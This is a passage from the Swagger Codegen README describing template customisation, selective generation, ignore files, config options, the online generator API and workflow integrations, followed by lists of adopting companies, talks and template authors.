language supported? No problem! Swagger Codegen processes mustache templates with the [jmustache](https://github.com/samskivert/jmustache) engine. You can modify our templates or make your own. You can look at `modules/swagger-codegen/src/main/resources/${your-language}` for examples. To make your own templates, create your own files and use the `-t` flag to specify your template folder. It actually is that easy. ### Making your own codegen modules If you're starting a project with a new language and don't see what you need, Swagger Codegen can help you create a project to generate your own libraries: ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar meta \ -o output/myLibrary -n myClientCodegen -p com.my.company.codegen ``` This will write, in the folder `output/myLibrary`, all the files you need to get started, including a `README.md. Once modified and compiled, you can load your library with the codegen and generate clients with your own, custom-rolled logic. You would then compile your library in the `output/myLibrary` folder with `mvn package` and execute the codegen like such: ```sh java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` For Windows users, you will need to use `;` instead of `:` in the classpath, e.g. ``` java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar;modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` Note the `myClientCodegen` is an option now, and you can use the usual arguments for generating your library: ```sh java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar \ io.swagger.codegen.SwaggerCodegen generate -l myClientCodegen\ -i http://petstore.swagger.io/v2/swagger.json \ -o myClient ``` ### Where is Javascript??? See our [javascript library](http://github.com/swagger-api/swagger-js)--it's completely dynamic and doesn't require static code generation. There is a third-party component called [swagger-js-codegen](https://github.com/wcandillon/swagger-js-codegen) that can generate angularjs or nodejs source code from a OpenAPI Specification. :exclamation: On Dec 7th 2015, a Javascript API client generator has been added by @jfiala. ### Generating a client from local files If you don't want to call your server, you can save the OpenAPI Spec files into a directory and pass an argument to the code generator like this: ``` -i ./modules/swagger-codegen/src/test/resources/2_0/petstore.json ``` Great for creating libraries on your ci server, from the [Swagger Editor](http://editor.swagger.io)... or while coding on an airplane. ### Selective generation You may not want to generate *all* models in your project. Likewise you may want just one or two apis to be written. If that's the case, you can use system properties to control the output: The default is generate *everything* supported by the specific library. Once you enable a feature, it will restrict the contents generated: ```sh # generate only models java -Dmodels {opts} # generate only apis java -Dapis {opts} # generate only supporting files java -DsupportingFiles # generate models and supporting files java -Dmodels -DsupportingFiles ``` To control the specific files being generated, you can pass a CSV list of what you want: ```sh # generate the User and Pet models only -Dmodels=User,Pet # generate the User model and the supportingFile `StringUtil.java`: -Dmodels=User -DsupportingFiles=StringUtil.java ``` To control generation of docs and tests for api and models, pass false to the option. For api, these options are `-DapiTests=false` and `-DapiDocs=false`. For models, `-DmodelTests=false` and `-DmodelDocs=false`. These options default to true and don't limit the generation of the feature options listed above (like `-Dapi`): ```sh # generate only models (with tests and documentation) java -Dmodels {opts} # generate only models (with tests but no documentation) java -Dmodels -DmodelDocs=false {opts} # generate only User and Pet models (no tests and no documentation) java -Dmodels=User,Pet -DmodelTests=false {opts} # generate only apis (without tests) java -Dapis -DapiTests=false {opts} # generate only apis (modelTests option is ignored) java -Dapis -DmodelTests=false {opts} ``` When using selective generation, _only_ the templates needed for the specific generation will be used. ### Ignore file format Swagger Codegen supports a `.swagger-codegen-ignore` file, similar to `.gitignore` or `.dockerignore` you're probably already familiar with. The ignore file allows for better control over overwriting existing files than the `--skip-overwrite` flag. With the ignore file, you can specify individual files or directories can be ignored. This can be useful, for example if you only want a subset of the generated code. Examples: ```sh # Swagger Codegen Ignore # Lines beginning with a # are comments # This should match build.sh located anywhere. build.sh # Matches build.sh in the root /build.sh # Exclude all recursively docs/** # Explicitly allow files excluded by other rules !docs/UserApi.md # Recursively exclude directories named Api # You can't negate files below this directory. src/**/Api/ # When this file is nested under /Api (excluded above), # this rule is ignored because parent directory is excluded by previous rule. !src/**/PetApiTests.cs # Exclude a single, nested file explicitly src/IO.Swagger.Test/Model/AnimalFarmTests.cs ``` The `.swagger-codegen-ignore` file must exist in the root of the output directory. Upon first code generation, you may also pass the CLI option `--ignore-file-override=/path/to/ignore_file` for greater control over generated outputs. Note that this is a complete override, and will override the `.swagger-codegen-ignore` file in an output directory when regenerating code. Editor support for `.swagger-codegen-ignore` files is available in IntelliJ via the [.ignore plugin](https://plugins.jetbrains.com/plugin/7495--ignore). ### Customizing the generator There are different aspects of customizing the code generator beyond just creating or modifying templates. Each language has a supporting configuration file to handle different type mappings, etc: ```sh $ ls -1 modules/swagger-codegen/src/main/java/io/swagger/codegen/languages/ AbstractJavaJAXRSServerCodegen.java AbstractTypeScriptClientCodegen.java ... (results omitted) TypeScriptAngularClientCodegen.java TypeScriptNodeClientCodegen.java ``` Each of these files creates reasonable defaults so you can get running quickly. But if you want to configure package names, prefixes, model folders, etc. you can use a json config file to pass the values. ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java \ -c path/to/config.json ``` and `config.json` contains the following as an example: ```json { "apiPackage" : "petstore" } ``` Supported config options can be different per language. Running `config-help -l {lang}` will show available options. **These options are applied via configuration file (e.g. config.json) or by passing them with `java -jar swagger-codegen-cli.jar -D{optionName}={optionValue}`**. (If `-D{optionName}` does not work, please open a [ticket](https://github.com/swagger-api/swagger-codegen/issues/new) and we'll look into it) ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l java ``` Output ``` CONFIG OPTIONS modelPackage package for generated models apiPackage package for generated api classes ...... (results omitted) library library template (sub-template) to use: jersey1 - HTTP client: Jersey client 1.18. JSON processing: Jackson 2.4.2 jersey2 - HTTP client: Jersey client 2.6 feign - HTTP client: Netflix Feign 8.1.1. JSON processing: Jackson 2.6.3 okhttp-gson (default) - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 retrofit - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 (Retrofit 1.9.0) retrofit2 - HTTP client: OkHttp 2.5.0. JSON processing: Gson 2.4 (Retrofit 2.0.0-beta2) google-api-client - HTTP client: google-api-client 1.23.0. JSON processing: Jackson 2.8.9 rest-assured - HTTP client: rest-assured : 3.1.0. JSON processing: Gson 2.6.1. Only for Java8 ``` Your config file for Java can look like ```json { "groupId":"com.my.company", "artifactId":"MyClient", "artifactVersion":"1.2.0", "library":"feign" } ``` For all the unspecified options default values will be used. Another way to override default options is to extend the config class for the specific language. To change, for example, the prefix for the Objective-C generated files, simply subclass the `ObjcClientCodegen.java`: ```java package com.mycompany.swagger.codegen; import io.swagger.codegen.languages.*; public class MyObjcCodegen extends ObjcClientCodegen { static { PREFIX = "HELO"; } } ``` and specify the `classname` when running the generator: ``` -l com.mycompany.swagger.codegen.MyObjcCodegen ``` Your subclass will now be loaded and overrides the `PREFIX` value in the superclass. ### Bringing your own models Sometimes you don't want a model generated. In this case, you can simply specify an import mapping to tell the codegen what _not_ to create. When doing this, every location that references a specific model will refer back to your classes. Note, this may not apply to all languages... To specify an import mapping, use the `--import-mappings` argument and specify the model-to-import logic as such: ``` --import-mappings Pet=my.models.MyPet ``` Or for multiple mappings: ``` --import-mappings Pet=my.models.MyPet,Order=my.models.MyOrder ``` or ``` --import-mappings Pet=my.models.MyPet --import-mappings Order=my.models.MyOrder ``` ### Validating your OpenAPI Spec You have options. The easiest is to use our [online validator](https://github.com/swagger-api/validator-badge) which not only will let you validate your spec, but with the debug flag, you can see what's wrong with your spec. For example: http://online.swagger.io/validator/debug?url=http://petstore.swagger.io/v2/swagger.json ### Generating dynamic html api documentation To do so, just use the `-l dynamic-html` flag when reading a spec file. This creates HTML documentation that is available as a single-page application with AJAX. To view the documentation: ```sh cd samples/dynamic-html/ npm install node . ``` Which launches a node.js server so the AJAX calls have a place to go. ### Generating static html api documentation To do so, just use the `-l html` flag when reading a spec file. This creates a single, simple HTML file with embedded css so you can ship it as an email attachment, or load it from your filesystem: ```sh cd samples/html/ open index.html ``` ### To build a server stub Please refer to https://github.com/swagger-api/swagger-codegen/wiki/Server-stub-generator-HOWTO for more information. ### To build the codegen library This will create the Swagger Codegen library from source. ```sh mvn package ``` Note! The templates are included in the library generated. If you want to modify the templates, you'll need to either repackage the library OR specify a path to your scripts ## Workflow Integration ### Maven Integration You can use the [swagger-codegen-maven-plugin](modules/swagger-codegen-maven-plugin/README.md) for integrating with your workflow, and generating any codegen target. ### Gradle Integration [Gradle Swagger Generator Plugin](https://github.com/int128/gradle-swagger-generator-plugin) is available for generating source code and API document. ## GitHub Integration To push the auto-generated SDK to GitHub, we provide `git_push.sh` to streamline the process. For example: 1) Create a new repository in GitHub (Ref: https://help.github.com/articles/creating-a-new-repository/) 2) Generate the SDK ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i modules/swagger-codegen/src/test/resources/2_0/petstore.json -l perl \ --git-user-id "swaggerapi" \ --git-repo-id "petstore-perl" \ --release-note "Github integration demo" \ -o /var/tmp/perl/petstore ``` 3) Push the SDK to GitHub ```sh cd /var/tmp/perl/petstore /bin/sh ./git_push.sh ``` ## Online generators One can also generate API client or server using the online generators (https://generator.swagger.io) For example, to generate Ruby API client, simply send the following HTTP request using curl: ```sh curl -X POST -H "content-type:application/json" -d '{"swaggerUrl":"http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/ruby ``` Then you will receieve a JSON response with the URL to download the zipped code. To customize the SDK, you can `POST` to `https://generator.swagger.io/gen/clients/{language}` with the following HTTP body: ```json { "options": {}, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` in which the `options` for a language can be obtained by submitting a `GET` request to `https://generator.swagger.io/api/gen/clients/{language}`: For example, `curl https://generator.swagger.io/api/gen/clients/python` returns ```json { "packageName":{ "opt":"packageName", "description":"python package name (convention: snake_case).", "type":"string", "default":"swagger_client" }, "packageVersion":{ "opt":"packageVersion", "description":"python package version.", "type":"string", "default":"1.0.0" }, "sortParamsByRequiredFlag":{ "opt":"sortParamsByRequiredFlag", "description":"Sort method arguments to place required parameters before optional parameters.", "type":"boolean", "default":"true" } } ``` To set package name to `pet_store`, the HTTP body of the request is as follows: ```json { "options": { "packageName": "pet_store" }, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` and here is the curl command: ```sh curl -H "Content-type: application/json" -X POST -d '{"options": {"packageName": "pet_store"},"swaggerUrl": "http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/python ``` Instead of using `swaggerUrl` with an URL to the OpenAPI/Swagger spec, one can include the spec in the JSON payload with `spec`, e.g. ```json { "options": {}, "spec": { "swagger": "2.0", "info": { "version": "1.0.0", "title": "Test API" }, ... } } ``` Guidelines for Contribution --------------------------- Please refer to this [page](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) Companies/Projects using Swagger Codegen ---------------------------------------- Here are some companies/projects using Swagger Codegen in production. To add your company/project to the list, please visit [README.md](https://github.com/swagger-api/swagger-codegen/blob/master/README.md) and click on the icon to edit the page. - [Acando](https://www.acando.de/) - [Accengage](https://www.accengage.com/) - [Accruent](https://www.accruent.com/) - [Activehours](https://www.activehours.com/) - [Actonica](https://www.actonica.com) - [Acunetix](https://www.acunetix.com/) - [Atlassian](https://www.atlassian.com/) - [Autodesk](http://www.autodesk.com/) - [Avenida Compras S.A.](https://www.avenida.com.ar) - [AYLIEN](http://aylien.com/) - [Balance Internet](https://www.balanceinternet.com.au/) - [beemo](http://www.beemo.eu) - [bitly](https://bitly.com) - [BeezUP](http://www.beezup.com) - [Box](https://box.com) - [Bufferfly Network](https://www.butterflynetinc.com/) - [Cachet Financial](http://www.cachetfinancial.com/) - [carpolo](http://www.carpolo.co/) - [Carus](https://www.carus.com/) - [Cisco](http://www.cisco.com/) - [CloudBoost](https://www.CloudBoost.io/) - [Cloudsmith](https://cloudsmith.io/) - [Conplement](http://www.conplement.de/) - [Cummins](http://www.cummins.com/) - [Cupix](http://www.cupix.com) - [DBBest Technologies](https://www.dbbest.com) - [DecentFoX](http://decentfox.com/) - [DocRaptor](https://docraptor.com) - [DocuSign](https://www.docusign.com) - [Elastic](https://www.elastic.co/) - [Ergon](http://www.ergon.ch/) - [Dell EMC](https://www.emc.com/) - [eureka](http://eure.jp/) - [everystory.us](http://everystory.us) - [Expected Behavior](http://www.expectedbehavior.com/) - [fashionTrade](https://www.fashiontrade.com/) - [Fastly](https://www.fastly.com/) - [FINRA](https://github.com/FINRAOS/herd/) - [Flat](https://flat.io) - [Finder](http://en.finder.pl/) - [Fitwell](https://fitwell.co/) - [FH Münster - University of Applied Sciences](http://www.fh-muenster.de) - [FormAPI](https://formapi.io/) - [Fotition](https://www.fotition.com/) - [Gear Zero Network](https://www.gearzero.ca) - [General Electric](https://www.ge.com/) - [Genesys - PureCloud](http://developer.mypurecloud.com/) - [Germin8](http://www.germin8.com) - [GigaSpaces](http://www.gigaspaces.com) - [GMO Pepabo](https://pepabo.com/en/) - [goTransverse](http://www.gotransverse.com/api) - [GraphHopper](https://graphhopper.com/) - [Gravitate Solutions](http://gravitatesolutions.com/) - [HashData](http://www.hashdata.cn/) - [Hewlett Packard Enterprise](https://hpe.com) - [High Technologies Center](http://htc-cs.com) - [Hootsuite](https://hootsuite.com/) - [Huawei Cloud](http://www.huaweicloud.com/en-us/product/cs.html) - [Husbanken](https://www.husbanken.no) - [IBM](https://www.ibm.com) - [IMS Health](http://www.imshealth.com/en/solution-areas/technology-and-applications) - [Individual Standard IVS](http://www.individual-standard.com) - [Intent HQ](http://www.intenthq.com) - [Kabuku](http://www.kabuku.co.jp/en) - [Kurio](https://kurio.co.id) - [Kuroi](http://kuroiwebdesign.com/) - [Kuary](https://kuary.com/) - [Kubernetes](https://kubernetes.io/) - [LANDR Audio](https://www.landr.com/) - [Lascaux](http://www.lascaux.it/) - [Leanix](http://www.leanix.net/) - [Leica Geosystems AG](http://leica-geosystems.com) - [LiveAgent](https://www.ladesk.com/) - [LXL Tech](http://lxltech.com) - [Lyft](https://www.lyft.com/developers) - [MailMojo](https://mailmojo.no/) - [Metaswitch](https://www.metaswitch.com/) - [Mindera](http://mindera.com/) - [Mporium](http://mporium.com/) - [Neverfail](https://neverfail.com/) - [NTT DATA](http://www.nttdata.com/) - [nViso](http://www.nviso.ch/) - [Okiok](https://www.okiok.com) - [Onedata](http://onedata.org) - [Open International Systems](https://openintl.com/) - [OrderCloud.io](http://ordercloud.io) - [OSDN](https://osdn.jp) - [PagerDuty](https://www.pagerduty.com) - [PagerTree](https://pagertree.com) - [Pepipost](https://www.pepipost.com) - [Peatio Tech](https://www.peatio.tech) - [Plexxi](http://www.plexxi.com) - [Pixoneye](http://www.pixoneye.com/) - [PostAffiliatePro](https://www.postaffiliatepro.com/) - [PracticeBird](https://www.practicebird.com/) - [Prill Tecnologia](http://www.prill.com.br) - [Prokarma](https://www.prokarma.com) - [QAdept](http://qadept.com/) - [QuantiModo](https://quantimo.do/) - [QuickBlox](https://quickblox.com/) - [Rapid7](https://rapid7.com/) - [Red Hat](https://www.redhat.com/) - [Reload! A/S](https://reload.dk/) - [REstore](https://www.restore.eu) - [REST United](https://restunited.com) - [Revault Sàrl](http://revault.ch) - [Riffyn](https://riffyn.com) - [Royal Bank of Canada (RBC)](http://www.rbc.com/canada.html) - [Saritasa](https://www.saritasa.com/) - [SAS](https://www.sas.com) - [SCOOP Software GmbH](http://www.scoop-software.de) - [SessionM](https://www.sessionm.com/) - [Shine Solutions](https://shinesolutions.com/) - [Simpfony](https://www.simpfony.com/) - [Skurt](http://www.skurt.com) - [Slamby](https://www.slamby.com/) - [SmartRecruiters](https://www.smartrecruiters.com/) - [snapCX](https://snapcx.io) - [SPINEN](http://www.spinen.com) - [Sponsoo](https://www.sponsoo.de) - [SRC](https://www.src.si/) - [Stardog Ventures](https://www.stardog.io) - [Stingray](http://www.stingray.com) - [StyleRecipe](http://stylerecipe.co.jp) - [Svenska Spel AB](https://www.svenskaspel.se/) - [Switch Database](https://www.switchdatabase.com/) - [TaskData](http://www.taskdata.com/) - [ThirdWatch.ai](https://www.thirdwatch.ai/) - [ThoughtWorks](https://www.thoughtworks.com) - [Tpay](https://tpay.com) - [Trexle](https://trexle.com/) - [Upwork](http://upwork.com/) - [uShip](https://www.uship.com/) - [VMware](https://vmware.com/) - [Viavi Solutions Inc.](https://www.viavisolutions.com) - [W.UP](http://wup.hu/?siteLang=en) - [Wealthfront](https://www.wealthfront.com/) - [Webever GmbH](https://www.webever.de/) - [WEXO A/S](https://www.wexo.dk/) - [XSky](http://www.xsky.com/) - [Yelp](http://www.yelp.com/) - [Zalando](https://tech.zalando.com) - [ZEEF.com](https://zeef.com/) - [zooplus](https://www.zooplus.com/) Presentations/Videos/Tutorials/Books ---------------------------------------- - 2011/08/31 - [Introducing Swagger](https://www.slideshare.net/fehguy/introducing-swagger) by [Tony Tam](https://twitter.com/fehguy) - 2014/05/22 - [Swagger APIs for Humans and Robots](https://www.slideshare.net/fehguy/swagger-apis-for-humans-and-robots-gluecon) by [Tony Tam](https://twitter.com/fehguy) at [Gluecon](http://gluecon.com/) - 2014/11/11 - [Genie 2.0: Second Wish Granted!](https://medium.com/netflix-techblog/genie-2-0-second-wish-granted-d888d79455c6) by [Tom Gianos](http://www.linkedin.com/in/thomasgianos/) and [Amit Sharma](https://www.linkedin.com/pub/amit-sharma/5/163/a83) @ [Netflix](https://www.netflix.com/) Big Data Platform Team - 2015/07/28 - [Enriching RESTful Services with Swagger](https://blog.philipphauer.de/enriching-restful-services-swagger/) by [Philipp Hauer](https://blog.philipphauer.de/) - 2015/11/11 - [Generate client stubs & document your REST-API using Swagger & Spring](https://www.youtube.com/watch?v=43GhBbP--oI) by [Johannes Fiala](https://github.com/jfiala) @ Devoxx Belgium 2015 - 2015/12/03 - [こんなに簡単! Swagger Codegenのカスタマイズ](http://qiita.com/Quramy/items/c583f3213f0b77ff1bac) by [Quramy](http://qiita.com/Quramy) - 2016/01/12 - [Generate client side code using Swagger Codegen](http://rnavagamuwa.com/open-source/generate-client-side-code-using-swagger-codegen/) by [RNAVAGAMUWA](http://rnavagamuwa.com/author/admin/) - 2016/01/15 - [How to end manual REST-API client coding](https://www.youtube.com/watch?v=RzZRdqZp6Oo) by [Johannes Fiala](https://github.com/jfiala) @ dotJS 2015 - 2016/04/27 - [Automated REST API Development](https://yos.io/2016/04/27/automated-api-development/) by [Yos Riady](https://www.linkedin.com/in/yosriady) - 2016/05/29 - [Generating Java Spring-MVC code from Swagger Spec](https://www.clianz.com/2016/05/29/java-mvc-swagger-gen/) by [@icha024](https://github.com/icha024) - 2016/07/22 - [Building Microservices? Here is what you should know](https://cloudncode.blog/2016/07/22/msa-getting-started/) by Sumit Maingi - 2016/08/23 - [Generating Dreamfactory Client SDKs based on Swagger API Definitions](http://blog.dreamfactory.com/generating-dreamfactory-client-sdks-based-on-swagger-api-definitions) by [Phil Schuler](https://github.com/philicious/) - 2016/09/28 - [1 UNBELIEVABLE TRICK TO CREATE AN EASY TO CONSUME API IN .NET](https://stapp.space/1-simple-trick-to-create-a-good-api-in-net/) by [Piotr Stapp](https://stapp.space/author/piotr-stapp/) - 2016/10/10 - [Using swagger-codegen with Marketo](http://developers.marketo.com/blog/using-swagger-codegen-with-marketo/) by [Kenny Elkington](http://developers.marketo.com/blog/using-swagger-codegen-with-marketo/) - 2016/10/12 - [Designing a Swagger API](https://sookocheff.com/post/api/swagger/) by [Kevin Sookocheff](https://sookocheff.com/) - 2016/11/05 - [How to generate a REST Application](https://www.youtube.com/watch?v=iyC9BWMe75Q) by [Johannes Fiala](https://github.com/jfiala) @ DevFest Vienna 2016 - 2016/11/10 - [Building an AEM API clients ecosystem](http://blog.cliffano.com/2016/11/10/adobe-marketing-cloud-community-expo/) by Cliffano Subagio, Michael Diender, Stephen Shim from [Shine Solutions](https://shinesolutions.com/) @ [Adobe Marketing Cloud Community Expo (AMCCE)](https://www.meetup.com/Melbourne-AEM-CQ-Meetup/events/233363101/) - 2016/11/18 - [How to generate a REST CXF3 application from Swagger-Contract](https://www.slideshare.net/johannes_fiala/how-to-generate-a-rest-cxf3-application-from-swagger-apacheconeu-2016) by [Johannes Fiala](https://github.com/jfiala) @ ApacheConEU 2016 - 2016/11/25 - [Swagger Codegen for Swift3 and NodeJS](https://normand1.github.io/blog/swift/swagger/codegen/2016/11/25/Swagger-Codegen-for-Swift3-and-NodeJS.html) by [David Norman](https://github.com/normand1) - 2016/12/08 - [Building an API with Swagger](https://www.youtube.com/watch?v=PbwQWw7xSOM) - 2016/12/08 - [Generate client side code using Swagger Codegen](https://carra-lucia-ltd.co.uk/2016/12/08/generate-client-side-code-using-swagger-codegen/) by [theFerkel](https://carra-lucia-ltd.co.uk/author/theferkel/) - 2017/01/16 - [Zero to API in 4 minutes](https://cidrblock.github.io/zero-to-api-in-4-minutes.html) by [Bradley A. Thornton](https://github.com/cidrblock) - 2017/02/09 - [「Swaggerを利用した新規サービス開発」というタイトルで登壇して来ました](https://techblog.recochoku.jp/1055) by [recotech](https://www.slideshare.net/recotech) - 2017/03/03 - [Swagger Codegen の使い方の簡単な説明です](https://speakerdeck.com/wagyu298/swagger-codegen) by [wagyu298](https://github.com/wagyu298) - 2017/03/24 - [Using Open API Specification To Put Lyft SDK Support in the Fast Lane](https://medium.com/lyft-developer-platform/using-open-api-specification-to-put-lyft-sdk-support-in-the-fast-lane-7b623218e4ee) by [Val Polouchkine](https://github.com/vpolouchkine) - 2017/04/13 - [Automatically Generating your API Client with Swagger and Swagger Codegen](https://www.youtube.com/watch?v=EzKwi-u9jQo) by [Jesse Collis](https://github.com/jessedc) @ Melbourne Cocoaheads - 2017/04/27 - [Swagger Codegen のPHP実装があまりにアレだったので、ライブラリ自作して公開してみた](http://qiita.com/imunew/items/2e9c472e0097e329f2cd) by [imunew](http://qiita.com/imunew) - 2017/05/17 - [Diseño de APIs con OpenAPI](https://www.slideshare.net/pjmolina/diseo-de-apis-con-openapi) by [Pedro J. Molina](https://github.com/pjmolina) @ [JSDayES 2017](http://2017.jsday.es/) - 2017/05/22 - [Presentation of the Vert.x-Swagger project](http://vertx.io/blog/presentation-of-the-vert-x-swagger-project/) by [@phiz71](http://github.com/phiz71) - 2017/05/22 - [Automatically generating your API from a swagger file using gradle](https://www.jcore.com/2017/05/22/automatically-generating-api-using-swagger-and-gradle/) by [Deniz Turan](https://www.jcore.com/author/deniz/) - 2017/06/21 - [Swagger Presentation - Warsaw Ruby Users Group](https://www.youtube.com/watch?v=uCnnDMFQB8U) by [@rafalpetryka](http://github.com/rafalpetryka) - 2017/06/29 - [Making SDKs: the bespoke, the hopeful and the generated](https://devrel.net/developer-experience/making-sdks-bespoke-hopeful-generated) by [Tristan Sokol](https://github.com/tristansokol) ([Square](https://github.com/square)) at DevXcon 2017 - 2017/07/11 - [OpenAPI development with Python](https://www.slideshare.net/TakuroWada/20170711-euro-python2017) by [和田拓朗](https://github.com/taxpon) at [EuroPython 2017](https://ep2017.europython.eu/en/) - 2017/07/29 - [How Square makes its SDKs](https://medium.com/square-corner-blog/how-square-makes-its-sdks-6a0fd7ea4b2d) by [Tristan Sokol](https://github.com/tristansokol) ([Square](https://github.com/square)) - 2017/07/31 - [How to Generate a Deployable REST CXF3 Application from a Swagger-Contract](https://www.youtube.com/watch?v=gM63rJlUHZQ) by [Johannes Fiala](https://github.com/jfiala) @ Voxxed Days Vienna - 2017/08/11 - [Swagger Codegen 自动生成Retrofit 代码](https://juejin.im/entry/598d8eb86fb9a03c52459e2a) by [徐磊](http://www.jianshu.com/u/792c738b33fc) - 2017/08/24 - [APIs First](https://engineering.squarespace.com/blog/2017/apis-first) by [roykachouh](https://github.com/roykachouh) ([Square](https://github.com/square)) - 2017/08/31 - [Bringing Jenkins Remote Access API To The Masses](http://blog.cliffano.com/2017/09/01/jenkins-world-2017/) by [Cliffano Subagio](http://cliffano.com) from [Shine Solutions](https://shinesolutions.com/) @ [Jenkins World 2017](https://jenkinsworld20162017.sched.com/) - 2017/09/08 - [Swagger Codegen で自動生成したクライアントSDKを使う(iOS編)](http://blog.techium.jp/entry/2017/09/08/071650) by [kfurue](http://profile.hatena.ne.jp/kfurue/) - 2017/09/09 - [Swagger Codegen で自動生成したクライアントSDKを使う(RxSwift 編)](http://blog.techium.jp/entry/2017/09/09/113003) by [kfurue](http://profile.hatena.ne.jp/kfurue/) - 2017/09/09 - [OpenAPIを利用したPythonWebアプリケーション開発](https://www.slideshare.net/TakuroWada/openapipythonweb) by [和田拓朗](https://github.com/taxpon) at [PyCon JP 2017](https://pycon.jp/2017/ja/) - 2017/09/21 - [Generating an Elastic Cloud Enterprise Client](https://www.elastic.co/blog/generating-an-elastic-cloud-enterprise-client) by [Greg Marzouka](https://github.com/gmarz) ([Elastic](https://www.elastic.co/)) - 2017/09/26 - [How to Use IoT Application Enablement Api Hub JSON Descriptor in Postman and How to Generate Client Code](https://www.linkedin.com/in/radu-simen/) by [Radu Simen](https://www.linkedin.com/in/radu-simen/) ([SAP](https://www.sap.com/)) - 2017/09/28 - [Swagger Codegenで APIクライアントgem 自動生成 #m3kt](https://speakerdeck.com/juntaki/swagger-codegende-apikuraiantogem-zi-dong-sheng-cheng-number-m3kt) by [Jumpei Takiyasu](https://github.com/juntaki) - 2017/09/30 - [Swaggerのテンプレートを魔改造した話 #渋谷java](https://www.slideshare.net/int128/swagger-80309224) by [Hidetake Iwata](https://github.com/int128) ([NTT DATA Corporation](http://www.nttdata.com/global/en/)) - 2017/10/04 - [Enterprise-friendly Java client for Microsoft Machine Learning Server](https://blogs.msdn.microsoft.com/mlserver/2017/10/04/enterprise-friendly-java-client-for-microsoft-machine-learning-server/) by [Pratik Palnitkar](https://www.linkedin.com/in/pratikpalnitkar/) ([Microsoft](https://www.microsoft.com/)) - 2017/10/08 - [Generating a REST Ada client with OpenAPI and Swagger Codegen](https://blog.vacs.fr/vacs/blogs/post.html?post=2017/10/08/Generating-a-REST-Ada-client-with-OpenAPI-and-Swagger-Codegen) by [Stephane Carrez](https://github.com/stcarrez) - 2017/11/08 - [A Beginner's Guide to Code Generation for REST APIs](https://gum.co/swagger_codegen_beginner)(eBook) by [William Cheng](https://twitter.com/wing328) - 2017/11/18 - [10年前のレガシーシステムをサーバーサイドKotlinでフルリニューアルしている話 #jjug_ccc #ccc_g2](https://speakerdeck.com/maeharin/10nian-qian-falseregasisisutemuwosabasaidokotlindehururiniyuarusiteiruhua-number-jjug-ccc-number-ccc-g2) by [Hidenori Maehara](https://github.com/maeharin) - 2017/11/21 - [swagger-codegen から眺める Swift4](https://speakerdeck.com/d_date/swagger-codegen-karatiao-meru-swift4) by [Daiki Matsudate](https://github.com/d-date) - 2017/12/07 - [API-driven development with OpenAPI and Swagger, Part 2](https://www.itworld.com/article/3199190/apis/api-driven-development-with-openapi-and-swagger-part-2.html) by Matthew Tyson - 2017/12/29 - [REST APIs代码生成指南](https://gumroad.com/l/swagger_codegen_beginner_zh)(eBook) by [William Cheng](https://github.com/wing328), [Xin Meng](https://github.com/xmeng1) - 2017/12/21 - [Using Protocol Buffer to Generate SDK at Hootsuite](http://code.hootsuite.com/using-protocol-buffer-to-generate-sdk-at-hoosuite/?lipi=urn%3Ali%3Apage%3Ad_flagship3_messaging%3By4ATz3SDRXyvXJJ14LQysQ%3D%3D) by [Joy Zhang](https://www.linkedin.com/in/joy8zhang/) - 2018/01/11 - [Swagger 工具箱介绍及代码自动生成示例](https://github.com/qct/swagger-example) by [qct](https://github.com/qct) - 2018/01/19 - [Generowanie kodu usług REST - przewodnik dla początkujących](https://gum.co/swagger_codegen_beginner_pl)(eBook) by [William Cheng](https://github.com/wing328), [Tomasz Prus](https://github.com/tomplus), [Bartek Kryza](https://github.com/bkryza) - 2018/02/03 - [Writing REST APIs with OpenAPI and Swagger Ada](https://www.slideshare.net/StephaneCarrez1/writing-rest-apis-with-openapi-and-swagger-ada/StephaneCarrez1/writing-rest-apis-with-openapi-and-swagger-ada) by [Stephane Carrez](https://github.com/stcarrez) at [FOSDEM 2018](https://fosdem.org/2018) - 2018/02/28 - [OpenAPI–An eBay Perspective](https://www.ebayinc.com/stories/blogs/tech/openapi-an-ebay-perspective/) by Shekhar Banerjee (eBay) - 2018/03/16 - [REST APIのためのコード生成入門](https://gumroad.com/l/swagger_codegen_beginner_jp) by [William Cheng](https://github.com/wing328), [中野暁人](https://github.com/ackintosh), [和田拓朗](https://github.com/taxpon) # Swagger Codegen Core Team Swagger Codegen core team members are contributors who have been making significant contributions (review issues, fix bugs, make enhancements, etc) to the project on a regular basis. ## Core Team Members ## Template Creator Here is a list of template creators: * API Clients: * Ada: @stcarrez * Akka-Scala: @cchafer * Apex: @asnelling * Bash: @bkryza * C++ REST: @Danielku15 * C# (.NET 2.0): @who * C# (.NET Standard 1.3 ): @Gronsak * C# (.NET 4.5 refactored): @jimschubert * Clojure: @xhh * Dart: @yissachar * Dart (refactored in 2.4.0): @joernahrens * Elixir: @niku * Elm: @trenneman * Eiffel: @jvelilla * Erlang: @tsloughter * Groovy: @victorgit * Go: @wing328 * Go (rewritten in 2.3.0): @antihax * Haskell (http-client): @jonschoning * Java (Feign): @davidkiss * Java (Retrofit): @0legg * Java (Retrofit2): @emilianobonassi * Java (Jersey2): @xhh * Java (okhttp-gson): @xhh * Java (RestTemplate): @nbruno * Java (RESTEasy): @gayathrigs * Java (Vertx): @lopesmcc * Java (Google APIs Client Library): @charlescapps * Java (Rest-assured): @viclovsky * Javascript/NodeJS: @jfiala * Javascript (Closure-annotated Angular) @achew22 * JMeter: @davidkiss * Kotlin: @jimschubert * Lua: @daurnimator * Perl: @wing328 * PHP 